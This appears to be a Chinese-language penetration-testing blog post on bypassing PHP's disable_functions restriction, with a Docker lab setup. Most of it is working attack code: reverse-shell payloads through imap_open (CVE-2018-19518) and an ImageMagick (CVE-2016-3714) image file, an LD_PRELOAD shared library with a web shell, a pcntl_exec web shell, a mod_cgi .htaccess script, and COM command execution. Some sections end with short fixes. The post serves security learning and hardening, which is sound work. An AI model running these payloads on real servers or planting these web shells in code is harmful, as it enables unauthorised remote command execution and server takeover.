Bypass disable_functions

1. 环境搭建

docker:https://hub.docker.com/r/boosen/lnmp/tags
版本:ubuntu 14.04 + php5.6 + mysql 5.5 + nginx1.8

  1. sudo wget -qO- https://get.docker.com|sh 安装docker 最新版
  2. vim /etc/docker/daemon.json 写入
    { "registry-mirrors": ["https://registry.docker-cn.com"] }
    换源
  3. docker pull boosen/lnmp 拉取lnmp环境
  4. docker container run -d -it -p 8081:80 --name xxx boosen/lnmp 开启容器
  5. docker exec -it id /bin/bash 进入容器

2. Bypass disable_functions

1. imap_open (CVE-2018-19518) 绕过

1.安装imap_open 扩展

1.apt-get install libc-client2007e-dev -y
2.cd php源码/ext/imap
3.phpize
4../configure --with-php-config=/usr/local/php/bin/php-config --with-imap=/usr/lib64 --with-imap-ssl --with-kerberos
5.make && make install
6.echo "extension = imap.so" >> /usr/local/php/lib/php.ini 
6.service php-fpm restart

2.简单分析
根据https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bbhttps://www.codercto.com/a/43774.html

  1. 当能够使用ssh时,imap会启动一个预认证模式,使用ssh协议进行认证,如果认证成功就不会建立一个imap连接,而是继续执行。
  2. 基于预认证模式,我们就可以通过ssh进行参数传递,这个参数就是mailbox,而ssh中有一个参数-o,这个参数可以指定连接时的参数选项,如果我们指定ssh的另一个参数ProxyCommand,就可以通过这个参数执行命令。

3.payload构造

<?php
$payload = "/bin/bash -i >& /dev/tcp/192.168.239.201/12345 0>&1";
$base64 = base64_encode($payload);
$server = "any -oProxyCommand=echo\t{$base64}|base64\t-d|bash";
@imap_open("{".$server."}:143/imap}INBOX","","");  


4.修复

  1. php版本符合以下可以在php.ini设置:
imap.enable_insecure_rsh	"0"	PHP_INI_SYSTEM	Available as of PHP 7.1.25, 7.2.13 and 7.3.0. Formerly, it was implicitly enabled.

这样就可以禁止不安全的预认证

  1. 禁用imap_open函数

2. ImageMagick(CVE-2016-3714)绕过

1.环境要求
imagick 版本<=6.9.3-9

2.简单分析
根据http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html简单分析:

  1. Imagick是一个图形处理库,支持的语言非常多,通过这个库可以对web图片进行裁剪、翻转等操作,但是由于其对https文件处理不当,导致我们可以执行命令。
  2. /etc/ImageMagick-6/delegates.xml
  <delegate decode="https" command="&quot;curl&quot; -s -k -L -o &quot;%o&quot; &quot;http
s:%M&quot;"/>

如果对https形式的资源进行处理,导致我们可以通过命令拼接的方式command=curl -s -k -L -o "%o" "https:%M",通过|&、`的方式进行命令的拼接,其中%M是占位符:

    %a  authentication passphrase
    %b  image file size in bytes
    %g  image geometry
    %h  image rows (height)
    %i  input image filename
    %#  input image signature
    %m  input image format
    %o  output image filename
    %p  page number
    %q  input image depth
    %s  scene number
    %u  unique temporary filename
    %w  image columns (width)
    %x  input image x resolution
    %y  input image y resolution

3.payload构造

  1. vim poc.png 写入以下内容
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM5LjIwMS8xMjM0NSAwPiYxCg==|base64 -d|bash")'
pop graphic-context
  1. 写一个上传页面upload.php(主要是用来调用Imagick类的)
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>upload</title>
</head>
<body>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" value="submit">
    </form>
</body>
<?php
        $filename = $_FILES['file']['name'];
        $type = substr($filename, strrpos($filename, '.')+1);
        if ($type === "jpg" || $type === "png" || $type === "gif") {
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                $imgObject = new Imagick($filename);
        }
?>
</html>
  1. 上传文件

3.修复方法

  1. 升级Imagick到6.9.3-10及以上
  2. 使用 policy file 来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick-6/policy.xml ,我们通过配置如下的 xml 来禁止解析 https 等敏感操作:
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />

3. mail()函数

1. 环境要求
参考:https://xz.aliyun.com/t/3937

  1. cve-2014-6271(bash 破壳漏洞),不过太老了,这种 bash软件的漏洞发行版基本上痘修复了,所以不考虑
  2. mail()、putenv()以及getenv()可用

2. payload构造

  1. 生成evil.so,上传到/tmp/evil.so
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */

#include <stdlib.h>
#include <stdio.h>
#include <string.h> 

void payload(char *cmd) {
  char buf[512];
  strcpy(buf, cmd);
  strcat(buf, " > /tmp/_0utput.txt");
  system(buf);
} 

int  geteuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}
  1. shell.php
<?php

$r1 = putenv("LD_PRELOAD=/tmp/evil.so");
echo "putenv: $r1 <br>";

$cmd = $_GET['cmd'];
$r2 = putenv("_evilcmd=$cmd");
echo "putenv: $r2 <br>";

$r3 = mail("a@example.com", "", "", "");
echo "mail: $r3 <br>";

highlight_file("/tmp/_0utput.txt");

?>

3. 修复方法
禁用putenv

4.pcntl_exec

1. 环境要求
phpinfo()中,编译带有--enable-pcntl

2. payload构造

<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
    $cmd = $cmd."&pkill -9 bash >out"; //执行完毕当前的命令。结束掉bash,方便下一次继续执行
    pcntl_exec("/bin/bash", $cmd);    //可能会造成假死。因为pcntl_exec一直处于等待的状态
    highlight_file("out");        
} else {
        echo '不支持pcntl扩展';
}
?>

3. 修复方法
禁用pcntl_exec

5. Bypass with via mod_cgi

1. 环境要求
参考:http://0cx.cc/bypass_disabled_via_mod_cgi.jspx

  1. apache 服务器
  2. .htaccess文件可写
  3. mod_cgi 模块启用
  4. chmod() 没被禁用

2. payload构造

<?php
$cmd = "/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1 2>&1"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
    }
}
?>

6. bypass with via LD_PRELOAD (感觉是最强大的方法)

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
已经够详细了,就不画蛇添足了

7. COM 组件 (WINDOWS 专属)

1. 环境要求

  1. extension = php_com_dotnet.dll
  2. 搜索 phpinfo() 是否有 com_dotnet

2. payload构造

<?php
$wscript = new COM('wscript.shell');
$wscript->Run("cmd.exe /c calc.exe");

3. 修复方法
禁用 COM组件:注释extension = php_com_dotnet.dll

8. 终极大杀器(自动化傻瓜,只支持类unix) 蚁剑扩展

https://github.com/AntSword-Store/as_bypass_php_disable_functions

发表评论

电子邮件地址不会被公开。 必填项已用*标注